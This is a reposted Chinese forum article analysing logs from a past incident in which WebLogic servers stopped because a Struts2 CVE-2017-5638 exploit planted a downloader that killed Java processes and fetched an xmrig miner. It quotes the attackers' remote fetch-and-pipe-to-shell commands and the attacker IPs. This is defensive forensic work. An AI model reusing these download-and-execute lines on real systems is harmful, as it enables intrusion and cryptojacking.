搜索

[16066] 2020-11-08_日志分析之某网站weblogic服务停止事件分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-11-08_日志分析之某网站weblogic服务停止事件分析 日 志 分 析 之 某 网 站 w e b l o g i c 服 务 停 止 事 件 分 析 b y p a s s w o r d   F r e e B u f   2 0 2 0 - 1 1 - 0 8 背 景 背 景 1 .     某 网 站 出 现 w e b l o g i c 多 次 服 务 停 止 事 件 ， 时 间 分 别 为 ： （ 2 0 1 8 年 1 月 2 日 ： 9 点 、 1 4 点 、 1 5 点 。 1 月 3 日 ： 9 点 、 1 4 点 ， 具 体 时 间 无 ） 。 2 .   网 站 方 提 供 恶 意 代 码 附 件 ” 恶 意 代 码 . t x t ” ， 该 恶 意 代 码 执 行 后 导 致 w e b l o g i c 停 止 。 3 .     已 知 的 I P 信 息 如 下 ： 受 害 服 务 器 I P （ 2 台 ） ： 1 0 . . . 4 7 、 1 0 . . . 4 8 负 载 均 衡 ： 1 0 . . . 4 3 4 .     现 提 供 w e b l o g i c   中 间 件 日 志 和 各 安 全 设 备 日 志 。 分 析 过 程 分 析 过 程 当 发 生 安 全 应 急 事 件 的 时 候 ， 我 们 应 该 从 何 处 着 手 ， 如 何 找 线 索 并 展 开 分 析 的 思 路 是 最 重 要 的 。 应 急 响 应 检 测 阶 段 的 技 术 过 程 可 参 考 我 之 前 发 过 的 一 篇 观 点 文 章 《 应 急 响 应 检 测 阶 段 技 术 流 程 》 。 里 面 提 出 了 一 个 ” 点 线 面 ” 模 型 观 点 ， 本 次 为 复 盘 日 志 分 析 ， 着 重 日 志 分 析 而 非 应 急 响 应 ， 而 且 由 于 是 久 远 的 一 次 事 件 ， 当 时 的 应 急 响 应 人 员 可 能 数 据 没 要 齐 全 ， 因 此 完 全 参 考 “ 点 线 面 ” 模 型 肯 定 不 现 实 ， 但 是 可 以 参 考 该 模 型 进 行 模 拟 复 盘 。 一 、 确 定 事 件 输 入 点 一 、 确 定 事 件 输 入 点 根 据 “ 点 线 面 ” 模 型 里 的 流 程 ， 在 确 定 事 件 输 入 点 时 我 们 需 要 清 楚 三 点 ： 1 . 异 常 是 什 么 ， 2 . 产 生 异 常 涉 及 的 系 统 是 哪 些 （ i p ， 业 务 ， 开 放 的 服 务 ， 系 统 类 型 ） ， 3 . 这 些 受 害 主 机 产 生 异 常 的 原 因 是 什 么 。 根 据 背 景 可 知 异 常 为 w e b l o g i c 多 次 停 止 运 行 ， 涉 及 受 害 系 统 I P （ 2 台 ） ： 1 0 . . . 4 7 、 1 0 . . . 4 8 。 产 生 该 异 常 的 原 因 我 们 可 通 过 审 计 甲 方 提 供 的 恶 意 代 码 ， 发 现 导 致 w e b l o g i c 服 务 停 止 的 原 因 在 于 ， 恶 意 代 码 中 读 取 过 滤 j a v a 相 关 进 程 后 使 用 k i l l   - 9 命 令 进 行 进 程 杀 灭 ， j a v a 进 程 被 杀 后 进 而 导 致 的 w e b l o g i c 服 务 停 止 。 此 时 可 确 定 为 受 到 攻 击 导 致 的 异 常 。 在 审 计 该 恶 意 代 码 时 ， 发 现 其 杀 灭 j a v a 进 程 后 到 1 6 5 . 2 2 7 . 2 1 5 . 2 5 下 载 名 为 x m r i g - y 的 文 件 。 由 于 是 复 盘 分 析 ， 攻 击 者 服 务 器 早 已 关 停 ， 无 法 下 载 x m r i g - y 文 件 。 但 是 可 以 到 威 胁 情 报 平 台 （ （ 奇 安 信 ， 微 步 在 线 ， v i r u s t o t a l 等 ） ） 查 询 恶 意 i p : 1 6 5 . 2 2 7 . 2 1 5 . 2 5 ， 发 现 其 标 签 为 挖 矿 。 并 找 到 关 联 样 本
虽 然 说 威 胁 情 报 平 台 已 经 将 样 本 进 行 了 标 签 ， 但 是 实 际 过 程 中 可 能 威 胁 情 报 平 台 当 时 并 未 及 时 收 录 到 此 攻 击 的 相 关 情 报 。 因 此 拿 到 样 本 可 将 其 上 传 到 沙 箱 运 行 ， 沙 箱 分 析 结 果 显 示 为 挖 矿 脚 本 ， 并 发 现 其 内 部 外 联 通 讯 地 址 I P ： 1 4 5 . 2 3 9 . 0 . 8 4 。
同 时 可 通 过 手 工 分 析 ， 使 用 s t r i n g s 工 具 查 询 恶 意 代 码 内 部 字 符 串 ， 发 现 可 疑 协 议 s t r a t u m + t c p : / / 确 定 为 挖 矿 通 信 确 定 为 挖 矿 通 信 协 议 。 协 议 。 至 此 ， 可 知 本 次 攻 击 的 目 的 为 挖 矿 。 至 此 ， 可 知 本 次 攻 击 的 目 的 为 挖 矿 。
二 、 线 索 推 断 二 、 线 索 推 断 由 提 供 的 恶 意 代 码 （ 下 载 器 ） 分 析 可 知 其 针 对 j a v a 相 关 进 程 ， 通 过 逆 向 思 维 反 推 ， 针 对 j a v a 那 么 只 有 是 知 道 其 存 在 J a v a 了 才 会 进 行 针 对 ， 也 即 是 说 通 过 j a v a 相 关 应 用 进 来 的 才 会 知 道 是 存 在 j a v a 的 ， 本 次 事 件 中 则 可 将 w e b l o g i c 服 务 作 为 最 大 嫌 疑 入 口 点 ， 另 外 挖 矿 攻 击 一 般 使 用 某 种 漏 洞 或 通 用 弱 点 进 行 批 量 攻 击 。 因 此 ， 可 认 为 是 通 过 w e b l o g i c 相 关 漏 洞 进 行 的 入 侵 并 展 开 日 志 分 析 验 证 。 三 、 日 志 分 析 策 略 三 、 日 志 分 析 策 略 已 有 安 全 设 备 日 志 ， w e b l o g i c 运 行 日 志 ， w e b   a c c e s s 日 志 。 在 未 知 攻 击 i p ， 已 知 受 害 I P 和 可 疑 攻 击 方 式 下 的 分 析 策 略 如 下 ： 1 . 首 先 分 析 安 全 设 备 日 志 ， 因 为 安 全 设 备 的 告 警 就 已 经 是 为 我 们 过 滤 掉 了 很 大 部 分 的 正 常 访 问 日 志 。 从 威 胁 感 知 设 备 日 志 中 筛 选 出 受 害 I P ： 1 0 . . . 4 7 、 1 0 . . . 4 8 及 负 载 均 衡 I P ： 1 0 . . . 4 3 的 全 部 日 志 条 目 发 现 1 0 . . . 4 7 、 1 0 . . . 4 8 均 无 记 录 ， 只 有 负 载 均 衡 I P ： 1 0 . . . 4 3 存 在 记 录 。 由 于 已 知 的 最 早 一 次 服 务 停 止 事 件 发 生 在 2 0 1 8 年 1 月 2 日 ， 发 现 从 2 0 1 7 / 1 2 / 8   6 : 0 0 : 3 4 起 持 续 存 在 C V E - 2 0 1 7 - 5 6 3 8 漏 洞 告 警 ， 该 漏 洞 属 于 A p a c h e   S t r u t s   2 远 程 命 令 执 行 漏 洞 ， 恶 意 用 户 可 在 上 传 文 件 时 通 过 修 改 H T T P 请 求 头 中 的 C o n t e n t - T y p e 值 来 触 发 该 漏 洞 ， 进 而 执 行 系 统 命 令 。 从 时 间 上 看 攻 击 时 间 线 过 长 ， 且 p a y l o a d 单 一 ， 这 时 并 不 能 将 此 告 警 排 除 ， 因 为 安 全 设 备 记 录 的 p a y l o a d 仅 是 截 取 了 匹 配 到 规 则 库 的 一 部 分 ， 并 非 完 整 的 攻 击 载 荷 ， 攻 击 者 可 能 不 断 完 善 p a y l o a d 进 行 攻 击 或 是 不 同 攻 击 者 进 行 的 攻 击 。 并 且 S t r u t s 2 远 程 命 令 执 行 漏 洞 跟 j a v a 相 关 且 1 月 2 日 也 存 在 告 警 ， 因 此 ， 暂 时 可 将 该 漏 洞 攻 击 作 为 本 次 事 件 的 可 疑 攻 击 方 式 （ 在 p a y l o a d 中 发 现 有 执 行 c m d . e x e 进 行 系 统 判 断 ） 。
编 写 脚 本 从 I P S 日 志 中 筛 选 出 受 害 I P ： 1 0 . . . 4 7 、 1 0 . . . 4 8 及 负 载 均 衡 I P ： 1 0 . . . 4 3 的 全 部 日 志 条 目 ， 发 现 仅 有 攻 击 I P ： 7 2 . 1 1 . 1 4 0 . 1 7 8 对 受 害 I P ： 1 0 . . . 4 3 的 T C P _ O r a c l e _ W e b L o g i c _ S e r v e r 反 序 列 化 漏 洞 告 警 ， 且 只 检 测 不 阻 断 。 最 早 告 警 时 间 为 2 0 1 7 - 1 2 - 2 9   0 9 : 2 1 : 1 7 至 此 可 将 C V E - 2 0 1 7 - 5 6 3 8 命 令 执 行 漏 洞 命 令 执 行 漏 洞 和 反 序 列 化 漏 洞 反 序 列 化 漏 洞 列 为 可 疑 入 侵 方 式 。 并 对 w e b l o g i c 运 行 时 日 志 进 行 分 析 ( a c c e s s 日 志 为 简 单 日 志 ， 没 有 分 析 的 价 值 ) 。 2 . 分 析 w e b l o g i c 运 行 日 志 。 从 前 面 的 分 析 ， 可 将 “ c m d . e x e ” 和 “ s e r i a l i z e ” 作 为 两 个 可 疑 漏 洞 的 关 键 词 对 日 志 进 行 匹 配 分 析 通 过 搜 索 关 键 字 “ c m d . e x e ” ， 发 现 一 条 命 令 执 行 失 败 的 告 警 ， 即 命 令 已 执 行 ， 但 由 于 操 作 系 统 或 策 略 限 制 等 原 因 执 行 失 败 。
搜 索 该 条 记 录 的 上 一 邻 近 记 录 条 目 ， 发 现 远 程 下 载 命 令 并 设 置 定 时 任 务 。 下 载 地 址 ： h t t p : / / 5 . 1 8 8 . 8 7 . 1 2 / i c o n s / l o g o . j p g | s h h t t p : / / 1 8 1 . 2 1 4 . 8 7 . 2 4 0 / i c o n s / l o g o . j p g | s h 由 该 记 录 前 半 部 分 显 示 可 知 为 文 件 上 传 且 p a y l o a d 是 在 c o n t e n t   t y p e 头 中 ， 符 合 C V E - 2 0 1 7 - 5 6 3 8 命 令 执 行 漏 洞 的 攻 击 命 令 执 行 漏 洞 的 攻 击 方 式 。 方 式 。 而 且 告 警 为 w a r n 级 别 而 非 e r r o r 级 别 ， 说 明 此 请 求 是 执 行 的 为 进 一 步 严 谨 性 ， 编 写 脚 本 匹 配 关 键 字 “ c m d . e x e ” 和 “ s e r i a l i z e ” 并 输 出 。 发 现 当 出 现 携 带 下 载 地 址 的 p a y l o a d 时 ， 告 警 中 才 会 出 现 命 令 执 行 但 未 成 功 的 告 警 记 录 。 而 p a y l o a d 中 的 i p 经 过 威 胁 情 报 查 询 ， 均 为 矿 池 I P 。 总 结 总 结
至 此 可 得 出 本 次 攻 击 是 攻 击 者 ： 7 2 . 1 1 . 1 4 0 . 1 7 8   通 过 C V E - 2 0 1 7 - 5 6 3 8 命 令 执 行 漏 洞 命 令 执 行 漏 洞 进 行 攻 击 ， 植 入 恶 意 脚 本 下 载 器 ， 定 时 启 动 脚 本 下 载 器 执 行 启 动 下 载 恶 意 挖 矿 脚 本 ， 杀 灭 j a v a 进 程 导 致 w e b l o g i c 服 务 时 而 停 止 。 从 w e b l o g i c 应 用 日 志 中 未 发 现 反 序 列 化 漏 洞 或 存 在 反 序 列 化 异 常 告 警 痕 迹 ， 所 以 I P S 日 志 中 所 报 T C P _ O r a c l e _ W e b L o g i c _ S e r v e r 反 序 列 化 漏 洞 其 实 为 C V E - 2 0 1 7 - 5 6 3 8 命 令 执 行 漏 洞 告 警 ， 命 令 执 行 漏 洞 告 警 ， 仅 因 为 命 令 执 行 p a y l o a d 中 存 在 类 似 # o g n l U t i l . g e t E x c l u d e d P a c k a g e N a m e s ( ) 之 类 的 字 符 导 致 触 发 匹 配 反 序 列 化 规 则 。 而 威 胁 感 知 设 备 似 乎 并 未 能 检 测 出 并 记 录 到 该 攻 击 成 功 的 p a y l o a d 。 精 彩 推 荐 精 彩 推 荐

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理